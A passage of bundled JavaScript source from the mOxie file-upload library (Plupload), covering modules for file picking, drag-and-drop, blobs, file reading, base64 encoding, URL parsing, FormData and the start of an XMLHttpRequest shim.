multiple: true // allow multiple file selection }); fileInput.onchange = function(e) { // do something to files array console.info(e.target.files); // or this.files or fileInput.files }; fileInput.init(); // initialize </script> */ var dispatches = [ /** Dispatched when runtime is connected and file-picker is ready to be used. @event ready @param {Object} event */ 'ready', /** Dispatched right after [ready](#event_ready) event, and whenever [refresh()](#method_refresh) is invoked. Check [corresponding documentation entry](#method_refresh) for more info. @event refresh @param {Object} event */ /** Dispatched when selection of files in the dialog is complete. @event change @param {Object} event */ 'change', 'cancel', // TODO: might be useful /** Dispatched when mouse cursor enters file-picker area. Can be used to style element accordingly. @event mouseenter @param {Object} event */ 'mouseenter', /** Dispatched when mouse cursor leaves file-picker area. Can be used to style element accordingly. @event mouseleave @param {Object} event */ 'mouseleave', /** Dispatched when functional mouse button is pressed on top of file-picker area. @event mousedown @param {Object} event */ 'mousedown', /** Dispatched when functional mouse button is released on top of file-picker area. @event mouseup @param {Object} event */ 'mouseup' ]; function FileInput(options) { if (MXI_DEBUG) { Env.log("Instantiating FileInput..."); } var self = this, container, browseButton, defaults; // if flat argument passed it should be browse_button id if (Basic.inArray(Basic.typeOf(options), ['string', 'node']) !== -1) { options = { browse_button : options }; } // this will help us to find proper default container browseButton = Dom.get(options.browse_button); if (!browseButton) { // browse button is required throw new x.DOMException(x.DOMException.NOT_FOUND_ERR); } // figure out the options defaults = { accept: [{ title: I18n.translate('All Files'), extensions: '*' }], name: 'file', multiple: false, required_caps: false, container: browseButton.parentNode || document.body }; options = Basic.extend({}, defaults, options); // convert to object representation if (typeof(options.required_caps) === 'string') { options.required_caps = Runtime.parseCaps(options.required_caps); } // normalize accept option (could be list of mime types or array of title/extensions pairs) if (typeof(options.accept) === 'string') { options.accept = Mime.mimes2extList(options.accept); } container = Dom.get(options.container); // make sure we have container if (!container) { container = document.body; } // make container relative, if it's not if (Dom.getStyle(container, 'position') === 'static') { container.style.position = 'relative'; } container = browseButton = null; // IE RuntimeClient.call(self); Basic.extend(self, { /** Unique id of the component @property uid @protected @readOnly @type {String} @default UID */ uid: Basic.guid('uid_'), /** Unique id of the connected runtime, if any. @property ruid @protected @type {String} */ ruid: null, /** Unique id of the runtime container. Useful to get hold of it for various manipulations. @property shimid @protected @type {String} */ shimid: null, /** Array of selected mOxie.File objects @property files @type {Array} @default null */ files: null, /** Initializes the file-picker, connects it to runtime and dispatches event ready when done. @method init */ init: function() { self.bind('RuntimeInit', function(e, runtime) { self.ruid = runtime.uid; self.shimid = runtime.shimid; self.bind("Ready", function() { self.trigger("Refresh"); }, 999); // re-position and resize shim container self.bind('Refresh', function() { var pos, size, browseButton, shimContainer; browseButton = Dom.get(options.browse_button); shimContainer = Dom.get(runtime.shimid); // do not use runtime.getShimContainer(), since it will create container if it doesn't exist if (browseButton) { pos = Dom.getPos(browseButton, Dom.get(options.container)); size = Dom.getSize(browseButton); if (shimContainer) { Basic.extend(shimContainer.style, { top : pos.y + 'px', left : pos.x + 'px', width : size.w + 'px', height : size.h + 'px' }); } } shimContainer = browseButton = null; }); runtime.exec.call(self, 'FileInput', 'init', options); }); // runtime needs: options.required_features, options.runtime_order and options.container self.connectRuntime(Basic.extend({}, options, { required_caps: { select_file: true } })); }, /** Disables file-picker element, so that it doesn't react to mouse clicks. @method disable @param {Boolean} [state=true] Disable component if - true, enable if - false */ disable: function(state) { var runtime = this.getRuntime(); if (runtime) { runtime.exec.call(this, 'FileInput', 'disable', Basic.typeOf(state) === 'undefined' ? true : state); } }, /** Reposition and resize dialog trigger to match the position and size of browse_button element. @method refresh */ refresh: function() { self.trigger("Refresh"); }, /** Destroy component. @method destroy */ destroy: function() { var runtime = this.getRuntime(); if (runtime) { runtime.exec.call(this, 'FileInput', 'destroy'); this.disconnectRuntime(); } if (Basic.typeOf(this.files) === 'array') { // no sense in leaving associated files behind Basic.each(this.files, function(file) { file.destroy(); }); } this.files = null; this.unbindAll(); } }); this.handleEventProps(dispatches); } FileInput.prototype = EventTarget.instance; return FileInput; }); // Included from: src/javascript/core/utils/Encode.js /** * Encode.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define('moxie/core/utils/Encode', [], function() { /** Encode string with UTF-8 @method utf8_encode @for Utils @static @param {String} str String to encode @return {String} UTF-8 encoded string */ var utf8_encode = function(str) { return unescape(encodeURIComponent(str)); }; /** Decode UTF-8 encoded string @method utf8_decode @static @param {String} str String to decode @return {String} Decoded string */ var utf8_decode = function(str_data) { return decodeURIComponent(escape(str_data)); }; /** Decode Base64 encoded string (uses browser's default method if available), from: https://raw.github.com/kvz/phpjs/master/functions/url/base64_decode.js @method atob @static @param {String} data String to decode @return {String} Decoded string */ var atob = function(data, utf8) { if (typeof(window.atob) === 'function') { return utf8 ? utf8_decode(window.atob(data)) : window.atob(data); } // http://kevin.vanzonneveld.net // + original by: Tyler Akins (http://rumkin.com) // + improved by: Thunder.m // + input by: Aman Gupta // + improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net) // + bugfixed by: Onno Marsman // + bugfixed by: Pellentesque Malesuada // + improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net) // + input by: Brett Zamir (http://brett-zamir.me) // + bugfixed by: Kevin van Zonneveld (http://kevin.vanzonneveld.net) // * example 1: base64_decode('S2V2aW4gdmFuIFpvbm5ldmVsZA=='); // * returns 1: 'Kevin van Zonneveld' // mozilla has this native // - but breaks in 2.0.0.12! //if (typeof this.window.atob == 'function') { // return atob(data); //} var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; var o1, o2, o3, h1, h2, h3, h4, bits, i = 0, ac = 0, dec = "", tmp_arr = []; if (!data) { return data; } data += ''; do { // unpack four hexets into three octets using index points in b64 h1 = b64.indexOf(data.charAt(i++)); h2 = b64.indexOf(data.charAt(i++)); h3 = b64.indexOf(data.charAt(i++)); h4 = b64.indexOf(data.charAt(i++)); bits = h1 << 18 | h2 << 12 | h3 << 6 | h4; o1 = bits >> 16 & 0xff; o2 = bits >> 8 & 0xff; o3 = bits & 0xff; if (h3 == 64) { tmp_arr[ac++] = String.fromCharCode(o1); } else if (h4 == 64) { tmp_arr[ac++] = String.fromCharCode(o1, o2); } else { tmp_arr[ac++] = String.fromCharCode(o1, o2, o3); } } while (i < data.length); dec = tmp_arr.join(''); return utf8 ? utf8_decode(dec) : dec; }; /** Base64 encode string (uses browser's default method if available), from: https://raw.github.com/kvz/phpjs/master/functions/url/base64_encode.js @method btoa @static @param {String} data String to encode @return {String} Base64 encoded string */ var btoa = function(data, utf8) { if (utf8) { data = utf8_encode(data); } if (typeof(window.btoa) === 'function') { return window.btoa(data); } // http://kevin.vanzonneveld.net // + original by: Tyler Akins (http://rumkin.com) // + improved by: Bayron Guevara // + improved by: Thunder.m // + improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net) // + bugfixed by: Pellentesque Malesuada // + improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net) // + improved by: Rafał Kukawski (http://kukawski.pl) // * example 1: base64_encode('Kevin van Zonneveld'); // * returns 1: 'S2V2aW4gdmFuIFpvbm5ldmVsZA==' // mozilla has this native // - but breaks in 2.0.0.12! var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; var o1, o2, o3, h1, h2, h3, h4, bits, i = 0, ac = 0, enc = "", tmp_arr = []; if (!data) { return data; } do { // pack three octets into four hexets o1 = data.charCodeAt(i++); o2 = data.charCodeAt(i++); o3 = data.charCodeAt(i++); bits = o1 << 16 | o2 << 8 | o3; h1 = bits >> 18 & 0x3f; h2 = bits >> 12 & 0x3f; h3 = bits >> 6 & 0x3f; h4 = bits & 0x3f; // use hexets to index into b64, and append result to encoded string tmp_arr[ac++] = b64.charAt(h1) + b64.charAt(h2) + b64.charAt(h3) + b64.charAt(h4); } while (i < data.length); enc = tmp_arr.join(''); var r = data.length % 3; return (r ? enc.slice(0, r - 3) : enc) + '==='.slice(r || 3); }; return { utf8_encode: utf8_encode, utf8_decode: utf8_decode, atob: atob, btoa: btoa }; }); // Included from: src/javascript/file/Blob.js /** * Blob.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define('moxie/file/Blob', [ 'moxie/core/utils/Basic', 'moxie/core/utils/Encode', 'moxie/runtime/RuntimeClient' ], function(Basic, Encode, RuntimeClient) { var blobpool = {}; /** @class Blob @constructor @param {String} ruid Unique id of the runtime, to which this blob belongs to @param {Object} blob Object "Native" blob object, as it is represented in the runtime */ function Blob(ruid, blob) { function _sliceDetached(start, end, type) { var blob, data = blobpool[this.uid]; if (Basic.typeOf(data) !== 'string' || !data.length) { return null; // or throw exception } blob = new Blob(null, { type: type, size: end - start }); blob.detach(data.substr(start, blob.size)); return blob; } RuntimeClient.call(this); if (ruid) { this.connectRuntime(ruid); } if (!blob) { blob = {}; } else if (Basic.typeOf(blob) === 'string') { // dataUrl or binary string blob = { data: blob }; } Basic.extend(this, { /** Unique id of the component @property uid @type {String} */ uid: blob.uid || Basic.guid('uid_'), /** Unique id of the connected runtime, if falsy, then runtime will have to be initialized before this Blob can be used, modified or sent @property ruid @type {String} */ ruid: ruid, /** Size of blob @property size @type {Number} @default 0 */ size: blob.size || 0, /** Mime type of blob @property type @type {String} @default '' */ type: blob.type || '', /** @method slice @param {Number} [start=0] */ slice: function(start, end, type) { if (this.isDetached()) { return _sliceDetached.apply(this, arguments); } return this.getRuntime().exec.call(this, 'Blob', 'slice', this.getSource(), start, end, type); }, /** Returns "native" blob object (as it is represented in connected runtime) or null if not found @method getSource @return {Blob} Returns "native" blob object or null if not found */ getSource: function() { if (!blobpool[this.uid]) { return null; } return blobpool[this.uid]; }, /** Detaches blob from any runtime that it depends on and initialize with standalone value @method detach @protected @param {DOMString} [data=''] Standalone value */ detach: function(data) { if (this.ruid) { this.getRuntime().exec.call(this, 'Blob', 'destroy'); this.disconnectRuntime(); this.ruid = null; } data = data || ''; // if dataUrl, convert to binary string if (data.substr(0, 5) == 'data:') { var base64Offset = data.indexOf(';base64,'); this.type = data.substring(5, base64Offset); data = Encode.atob(data.substring(base64Offset + 8)); } this.size = data.length; blobpool[this.uid] = data; }, /** Checks if blob is standalone (detached of any runtime) @method isDetached @protected @return {Boolean} */ isDetached: function() { return !this.ruid && Basic.typeOf(blobpool[this.uid]) === 'string'; }, /** Destroy Blob and free any resources it was using @method destroy */ destroy: function() { this.detach(); delete blobpool[this.uid]; } }); if (blob.data) { this.detach(blob.data); // auto-detach if payload has been passed } else { blobpool[this.uid] = blob; } } return Blob; }); // Included from: src/javascript/file/File.js /** * File.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define('moxie/file/File', [ 'moxie/core/utils/Basic', 'moxie/core/utils/Mime', 'moxie/file/Blob' ], function(Basic, Mime, Blob) { /** @class File @extends Blob @constructor @param {String} ruid Unique id of the runtime, to which this blob belongs to @param {Object} file Object "Native" file object, as it is represented in the runtime */ function File(ruid, file) { if (!file) { // avoid extra errors in case we overlooked something file = {}; } Blob.apply(this, arguments); if (!this.type) { this.type = Mime.getFileMime(file.name); } // sanitize file name or generate new one var name; if (file.name) { name = file.name.replace(/\\/g, '/'); name = name.substr(name.lastIndexOf('/') + 1); } else if (this.type) { var prefix = this.type.split('/')[0]; name = Basic.guid((prefix !== '' ? prefix : 'file') + '_'); if (Mime.extensions[this.type]) { name += '.' + Mime.extensions[this.type][0]; // append proper extension if possible } } Basic.extend(this, { /** File name @property name @type {String} @default UID */ name: name || Basic.guid('file_'), /** Relative path to the file inside a directory @property relativePath @type {String} @default '' */ relativePath: '', /** Date of last modification @property lastModifiedDate @type {String} @default now */ lastModifiedDate: file.lastModifiedDate || (new Date()).toLocaleString() // Thu Aug 23 2012 19:40:00 GMT+0400 (GET) }); } File.prototype = Blob.prototype; return File; }); // Included from: src/javascript/file/FileDrop.js /** * FileDrop.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define('moxie/file/FileDrop', [ 'moxie/core/I18n', 'moxie/core/utils/Dom', 'moxie/core/Exceptions', 'moxie/core/utils/Basic', 'moxie/core/utils/Env', 'moxie/file/File', 'moxie/runtime/RuntimeClient', 'moxie/core/EventTarget', 'moxie/core/utils/Mime' ], function(I18n, Dom, x, Basic, Env, File, RuntimeClient, EventTarget, Mime) { /** Turn arbitrary DOM element to a drop zone accepting files. Converts selected files to _File_ objects, to be used in conjunction with _Image_, preloaded in memory with _FileReader_ or uploaded to a server through _XMLHttpRequest_. @example <div id="drop_zone"> Drop files here </div> <br /> <div id="filelist"></div> <script type="text/javascript"> var fileDrop = new mOxie.FileDrop('drop_zone'), fileList = mOxie.get('filelist'); fileDrop.ondrop = function() { mOxie.each(this.files, function(file) { fileList.innerHTML += '<div>' + file.name + '</div>'; }); }; fileDrop.init(); </script> @class FileDrop @constructor @extends EventTarget @uses RuntimeClient @param {Object|String} options If options has typeof string, argument is considered as options.drop_zone @param {String|DOMElement} options.drop_zone DOM Element to turn into a drop zone @param {Array} [options.accept] Array of mime types to accept. By default accepts all @param {Object|String} [options.required_caps] Set of required capabilities, that chosen runtime must support */ var dispatches = [ /** Dispatched when runtime is connected and drop zone is ready to accept files. @event ready @param {Object} event */ 'ready', /** Dispatched when dragging cursor enters the drop zone. @event dragenter @param {Object} event */ 'dragenter', /** Dispatched when dragging cursor leaves the drop zone. @event dragleave @param {Object} event */ 'dragleave', /** Dispatched when file is dropped onto the drop zone. @event drop @param {Object} event */ 'drop', /** Dispatched if error occurs. @event error @param {Object} event */ 'error' ]; function FileDrop(options) { if (MXI_DEBUG) { Env.log("Instantiating FileDrop..."); } var self = this, defaults; // if flat argument passed it should be drop_zone id if (typeof(options) === 'string') { options = { drop_zone : options }; } // figure out the options defaults = { accept: [{ title: I18n.translate('All Files'), extensions: '*' }], required_caps: { drag_and_drop: true } }; options = typeof(options) === 'object' ? Basic.extend({}, defaults, options) : defaults; // this will help us to find proper default container options.container = Dom.get(options.drop_zone) || document.body; // make container relative, if it is not if (Dom.getStyle(options.container, 'position') === 'static') { options.container.style.position = 'relative'; } // normalize accept option (could be list of mime types or array of title/extensions pairs) if (typeof(options.accept) === 'string') { options.accept = Mime.mimes2extList(options.accept); } RuntimeClient.call(self); Basic.extend(self, { uid: Basic.guid('uid_'), ruid: null, files: null, init: function() { self.bind('RuntimeInit', function(e, runtime) { self.ruid = runtime.uid; runtime.exec.call(self, 'FileDrop', 'init', options); self.dispatchEvent('ready'); }); // runtime needs: options.required_features, options.runtime_order and options.container self.connectRuntime(options); // throws RuntimeError }, destroy: function() { var runtime = this.getRuntime(); if (runtime) { runtime.exec.call(this, 'FileDrop', 'destroy'); this.disconnectRuntime(); } this.files = null; this.unbindAll(); } }); this.handleEventProps(dispatches); } FileDrop.prototype = EventTarget.instance; return FileDrop; }); // Included from: src/javascript/file/FileReader.js /** * FileReader.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define('moxie/file/FileReader', [ 'moxie/core/utils/Basic', 'moxie/core/utils/Encode', 'moxie/core/Exceptions', 'moxie/core/EventTarget', 'moxie/file/Blob', 'moxie/runtime/RuntimeClient' ], function(Basic, Encode, x, EventTarget, Blob, RuntimeClient) { /** Utility for preloading o.Blob/o.File objects in memory. By design closely follows [W3C FileReader](http://www.w3.org/TR/FileAPI/#dfn-filereader) interface. Where possible uses native FileReader, where - not falls back to shims. @class FileReader @constructor FileReader @extends EventTarget @uses RuntimeClient */ var dispatches = [ /** Dispatched when the read starts. @event loadstart @param {Object} event */ 'loadstart', /** Dispatched while reading (and decoding) blob, and reporting partial Blob data (progess.loaded/progress.total). @event progress @param {Object} event */ 'progress', /** Dispatched when the read has successfully completed. @event load @param {Object} event */ 'load', /** Dispatched when the read has been aborted. For instance, by invoking the abort() method. @event abort @param {Object} event */ 'abort', /** Dispatched when the read has failed. @event error @param {Object} event */ 'error', /** Dispatched when the request has completed (either in success or failure). @event loadend @param {Object} event */ 'loadend' ]; function FileReader() { RuntimeClient.call(this); Basic.extend(this, { /** UID of the component instance. @property uid @type {String} */ uid: Basic.guid('uid_'), /** Contains current state of FileReader object. Can take values of FileReader.EMPTY, FileReader.LOADING and FileReader.DONE. @property readyState @type {Number} @default FileReader.EMPTY */ readyState: FileReader.EMPTY, /** Result of the successful read operation. @property result @type {String} */ result: null, /** Stores the error of failed asynchronous read operation. @property error @type {DOMError} */ error: null, /** Initiates reading of File/Blob object contents to binary string. @method readAsBinaryString @param {Blob|File} blob Object to preload */ readAsBinaryString: function(blob) { _read.call(this, 'readAsBinaryString', blob); }, /** Initiates reading of File/Blob object contents to dataURL string. @method readAsDataURL @param {Blob|File} blob Object to preload */ readAsDataURL: function(blob) { _read.call(this, 'readAsDataURL', blob); }, /** Initiates reading of File/Blob object contents to string. @method readAsText @param {Blob|File} blob Object to preload */ readAsText: function(blob) { _read.call(this, 'readAsText', blob); }, /** Aborts preloading process. @method abort */ abort: function() { this.result = null; if (Basic.inArray(this.readyState, [FileReader.EMPTY, FileReader.DONE]) !== -1) { return; } else if (this.readyState === FileReader.LOADING) { this.readyState = FileReader.DONE; } this.exec('FileReader', 'abort'); this.trigger('abort'); this.trigger('loadend'); }, /** Destroy component and release resources. @method destroy */ destroy: function() { this.abort(); this.exec('FileReader', 'destroy'); this.disconnectRuntime(); this.unbindAll(); } }); // uid must already be assigned this.handleEventProps(dispatches); this.bind('Error', function(e, err) { this.readyState = FileReader.DONE; this.error = err; }, 999); this.bind('Load', function(e) { this.readyState = FileReader.DONE; }, 999); function _read(op, blob) { var self = this; this.trigger('loadstart'); if (this.readyState === FileReader.LOADING) { this.trigger('error', new x.DOMException(x.DOMException.INVALID_STATE_ERR)); this.trigger('loadend'); return; } // if source is not o.Blob/o.File if (!(blob instanceof Blob)) { this.trigger('error', new x.DOMException(x.DOMException.NOT_FOUND_ERR)); this.trigger('loadend'); return; } this.result = null; this.readyState = FileReader.LOADING; if (blob.isDetached()) { var src = blob.getSource(); switch (op) { case 'readAsText': case 'readAsBinaryString': this.result = src; break; case 'readAsDataURL': this.result = 'data:' + blob.type + ';base64,' + Encode.btoa(src); break; } this.readyState = FileReader.DONE; this.trigger('load'); this.trigger('loadend'); } else { this.connectRuntime(blob.ruid); this.exec('FileReader', 'read', op, blob); } } } /** Initial FileReader state @property EMPTY @type {Number} @final @static @default 0 */ FileReader.EMPTY = 0; /** FileReader switches to this state when it is preloading the source @property LOADING @type {Number} @final @static @default 1 */ FileReader.LOADING = 1; /** Preloading is complete, this is a final state @property DONE @type {Number} @final @static @default 2 */ FileReader.DONE = 2; FileReader.prototype = EventTarget.instance; return FileReader; }); // Included from: src/javascript/core/utils/Url.js /** * Url.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define('moxie/core/utils/Url', [], function() { /** Parse url into separate components and fill in absent parts with parts from current url, based on https://raw.github.com/kvz/phpjs/master/functions/url/parse_url.js @method parseUrl @for Utils @static @param {String} url Url to parse (defaults to empty string if undefined) @return {Object} Hash containing extracted uri components */ var parseUrl = function(url, currentUrl) { var key = ['source', 'scheme', 'authority', 'userInfo', 'user', 'pass', 'host', 'port', 'relative', 'path', 'directory', 'file', 'query', 'fragment'] , i = key.length , ports = { http: 80, https: 443 } , uri = {} , regex = /^(?:([^:\/?#]+):)?(?:\/\/()(?:(?:()(?:([^:@\/]*):?([^:@\/]*))?@)?([^:\/?#]*)(?::(\d*))?))?()(?:(()(?:(?:[^?#\/]*\/)*)()(?:[^?#]*))(?:\\?([^#]*))?(?:#(.*))?)/ , m = regex.exec(url || '') ; while (i--) { if (m[i]) { uri[key[i]] = m[i]; } } // when url is relative, we set the origin and the path ourselves if (!uri.scheme) { // come up with defaults if (!currentUrl || typeof(currentUrl) === 'string') { currentUrl = parseUrl(currentUrl || document.location.href); } uri.scheme = currentUrl.scheme; uri.host = currentUrl.host; uri.port = currentUrl.port; var path = ''; // for urls without trailing slash we need to figure out the path if (/^[^\/]/.test(uri.path)) { path = currentUrl.path; // if path ends with a filename, strip it if (/\/[^\/]*\.[^\/]*$/.test(path)) { path = path.replace(/\/[^\/]+$/, '/'); } else { // avoid double slash at the end (see #127) path = path.replace(/\/?$/, '/'); } } uri.path = path + (uri.path || ''); // site may reside at domain.com or domain.com/subdir } if (!uri.port) { uri.port = ports[uri.scheme] || 80; } uri.port = parseInt(uri.port, 10); if (!uri.path) { uri.path = "/"; } delete uri.source; return uri; }; /** Resolve url - among other things will turn relative url to absolute @method resolveUrl @static @param {String|Object} url Either absolute or relative, or a result of parseUrl call @return {String} Resolved, absolute url */ var resolveUrl = function(url) { var ports = { // we ignore default ports http: 80, https: 443 } , urlp = typeof(url) === 'object' ? url : parseUrl(url); ; return urlp.scheme + '://' + urlp.host + (urlp.port !== ports[urlp.scheme] ? ':' + urlp.port : '') + urlp.path + (urlp.query ? urlp.query : ''); }; /** Check if specified url has the same origin as the current document @method hasSameOrigin @param {String|Object} url @return {Boolean} */ var hasSameOrigin = function(url) { function origin(url) { return [url.scheme, url.host, url.port].join('/'); } if (typeof url === 'string') { url = parseUrl(url); } return origin(parseUrl()) === origin(url); }; return { parseUrl: parseUrl, resolveUrl: resolveUrl, hasSameOrigin: hasSameOrigin }; }); // Included from: src/javascript/runtime/RuntimeTarget.js /** * RuntimeTarget.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define('moxie/runtime/RuntimeTarget', [ 'moxie/core/utils/Basic', 'moxie/runtime/RuntimeClient', "moxie/core/EventTarget" ], function(Basic, RuntimeClient, EventTarget) { /** Instance of this class can be used as a target for the events dispatched by shims, when allowing them onto components is for either reason inappropriate @class RuntimeTarget @constructor @protected @extends EventTarget */ function RuntimeTarget() { this.uid = Basic.guid('uid_'); RuntimeClient.call(this); this.destroy = function() { this.disconnectRuntime(); this.unbindAll(); }; } RuntimeTarget.prototype = EventTarget.instance; return RuntimeTarget; }); // Included from: src/javascript/file/FileReaderSync.js /** * FileReaderSync.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define('moxie/file/FileReaderSync', [ 'moxie/core/utils/Basic', 'moxie/runtime/RuntimeClient', 'moxie/core/utils/Encode' ], function(Basic, RuntimeClient, Encode) { /** Synchronous FileReader implementation. Something like this is available in WebWorkers environment, here it can be used to read only preloaded blobs/files and only below certain size (not yet sure what that'd be, but probably < 1mb). Not meant to be used directly by user. @class FileReaderSync @private @constructor */ return function() { RuntimeClient.call(this); Basic.extend(this, { uid: Basic.guid('uid_'), readAsBinaryString: function(blob) { return _read.call(this, 'readAsBinaryString', blob); }, readAsDataURL: function(blob) { return _read.call(this, 'readAsDataURL', blob); }, /*readAsArrayBuffer: function(blob) { return _read.call(this, 'readAsArrayBuffer', blob); },*/ readAsText: function(blob) { return _read.call(this, 'readAsText', blob); } }); function _read(op, blob) { if (blob.isDetached()) { var src = blob.getSource(); switch (op) { case 'readAsBinaryString': return src; case 'readAsDataURL': return 'data:' + blob.type + ';base64,' + Encode.btoa(src); case 'readAsText': var txt = ''; for (var i = 0, length = src.length; i < length; i++) { txt += String.fromCharCode(src[i]); } return txt; } } else { var result = this.connectRuntime(blob.ruid).exec.call(this, 'FileReaderSync', 'read', op, blob); this.disconnectRuntime(); return result; } } }; }); // Included from: src/javascript/xhr/FormData.js /** * FormData.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define("moxie/xhr/FormData", [ "moxie/core/Exceptions", "moxie/core/utils/Basic", "moxie/file/Blob" ], function(x, Basic, Blob) { /** FormData @class FormData @constructor */ function FormData() { var _blob, _fields = []; Basic.extend(this, { /** Append another key-value pair to the FormData object @method append @param {String} name Name for the new field @param {String|Blob|Array|Object} value Value for the field */ append: function(name, value) { var self = this, valueType = Basic.typeOf(value); // according to specs value might be either Blob or String if (value instanceof Blob) { _blob = { name: name, value: value // unfortunately we can only send single Blob in one FormData }; } else if ('array' === valueType) { name += '[]'; Basic.each(value, function(value) { self.append(name, value); }); } else if ('object' === valueType) { Basic.each(value, function(value, key) { self.append(name + '[' + key + ']', value); }); } else if ('null' === valueType || 'undefined' === valueType || 'number' === valueType && isNaN(value)) { self.append(name, "false"); } else { _fields.push({ name: name, value: value.toString() }); } }, /** Checks if FormData contains Blob. @method hasBlob @return {Boolean} */ hasBlob: function() { return !!this.getBlob(); }, /** Retrieves blob. @method getBlob @return {Object} Either Blob if found or null */ getBlob: function() { return _blob && _blob.value || null; }, /** Retrieves blob field name. @method getBlobName @return {String} Either Blob field name or null */ getBlobName: function() { return _blob && _blob.name || null; }, /** Loop over the fields in FormData and invoke the callback for each of them. @method each @param {Function} cb Callback to call for each field */ each: function(cb) { Basic.each(_fields, function(field) { cb(field.value, field.name); }); if (_blob) { cb(_blob.value, _blob.name); } }, destroy: function() { _blob = null; _fields = []; } }); } return FormData; }); // Included from: src/javascript/xhr/XMLHttpRequest.js /** * XMLHttpRequest.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define("moxie/xhr/XMLHttpRequest", [ "moxie/core/utils/Basic", "moxie/core/Exceptions", "moxie/core/EventTarget", "moxie/core/utils/Encode", "moxie/core/utils/Url", "moxie/runtime/Runtime", "moxie/runtime/RuntimeTarget", "moxie/file/Blob", "moxie/file/FileReaderSync", "moxie/xhr/FormData", "moxie/core/utils/Env", "moxie/core/utils/Mime" ], function(Basic, x, EventTarget, Encode, Url, Runtime, RuntimeTarget, Blob, FileReaderSync, FormData, Env, Mime) { var httpCode = { 100: 'Continue', 101: 'Switching Protocols', 102: 'Processing', 200: 'OK', 201: 'Created', 202: 'Accepted', 203: 'Non-Authoritative Information', 204: 'No Content', 205: 'Reset Content', 206: 'Partial Content', 207: 'Multi-Status', 226: 'IM Used', 300: 'Multiple Choices', 301: 'Moved Permanently', 302: 'Found', 303: 'See Other', 304: 'Not Modified', 305: 'Use Proxy', 306: 'Reserved', 307: 'Temporary Redirect', 400: 'Bad Request', 401: 'Unauthorized', 402: 'Payment Required', 403: 'Forbidden', 404: 'Not Found', 405: 'Method Not Allowed', 406: 'Not Acceptable', 407: 'Proxy Authentication Required', 408: 'Request Timeout', 409: 'Conflict', 410: 'Gone', 411: 'Length Required', 412: 'Precondition Failed', 413: 'Request Entity Too Large', 414: 'Request-URI Too Long', 415: 'Unsupported Media Type', 416: 'Requested Range Not Satisfiable', 417: 'Expectation Failed', 422: 'Unprocessable Entity', 423: 'Locked', 424: 'Failed Dependency', 426: 'Upgrade Required', 500: 'Internal Server Error', 501: 'Not Implemented', 502: 'Bad Gateway', 503: 'Service Unavailable', 504: 'Gateway Timeout', 505: 'HTTP Version Not Supported', 506: 'Variant Also Negotiates', 507: 'Insufficient Storage', 510: 'Not Extended' }; function XMLHttpRequestUpload() { this.uid = Basic.guid('uid_'); } XMLHttpRequestUpload.prototype = EventTarget.instance; /** Implementation of XMLHttpRequest @class XMLHttpRequest @constructor @uses RuntimeClient @extends EventTarget */ var dispatches = [ 'loadstart', 'progress', 'abort', 'error', 'load', 'timeout', 'loadend' // readystatechange (for historical reasons) ]; var NATIVE = 1, RUNTIME = 2; function XMLHttpRequest() { var self = this, // this (together with _p() @see below) is here to gracefully upgrade to setter/getter syntax where possible props = { /** The amount of milliseconds a request can take before being terminated. Initially zero. Zero means there is no timeout. @property timeout @type Number @default 0 */ timeout: 0, /** Current state, can take following values: UNSENT (numeric value 0) The object has been constructed. OPENED (numeric value 1) The open() method has been successfully invoked. During this state request headers can be set using setRequestHeader() and the request can be made using the send() method. HEADERS_RECEIVED (numeric value 2) All redirects (if any) have been followed and all HTTP headers of the final response have been received. Several response members of the object are now available. LOADING (numeric value 3) The response entity body is being received. DONE (numeric value 4) @property readyState @type Number @default 0 (UNSENT) */ readyState: XMLHttpRequest.UNSENT, /** True when user credentials are to be included in a cross-origin request. False when they are to be excluded in a cross-origin request and when cookies are to be ignored in its response. Initially false. @property withCredentials @type Boolean @default false */ withCredentials: false, /** Returns the HTTP status code. @property status @type Number @default 0 */ status: 0, /** Returns the HTTP status text. @property statusText @type String */ statusText: "", /** Returns the response type. Can be set to change the response type. Values are: the empty string (default), "arraybuffer", "blob", "document", "json", and "text". @property responseType @type String */ responseType: "", /** Returns the document response entity body. Throws an "InvalidStateError" exception if responseType is not the empty string or "document". @property responseXML @type Document */ responseXML: null, /** Returns the text response entity body. Throws an "InvalidStateError" exception if responseType is not the empty string or "text". @property responseText @type String */ responseText: null, /** Returns the response entity body (http://www.w3.org/TR/XMLHttpRequest/#response-entity-body). Can become: ArrayBuffer, Blob, Document, JSON, Text @property response @type Mixed */ response: null }, _async = true, _url, _method, _headers = {}, _user, _password, _encoding = null, _mimeType = null, // flags _sync_flag = false, _send_flag = false, _upload_events_flag = false, _upload_complete_flag = false, _error_flag = false, _same_origin_flag = false, // times _start_time, _timeoutset_time, _finalMime = null, _finalCharset = null, _options = {}, _xhr, _responseHeaders = '', _responseHeadersBag ; Basic.extend(this, props, { /** Unique id of the component @property uid @type String */ uid: Basic.guid('uid_'), /** Target for Upload events @property upload @type XMLHttpRequestUpload */ upload: new XMLHttpRequestUpload(), /** Sets the request method, request URL, synchronous 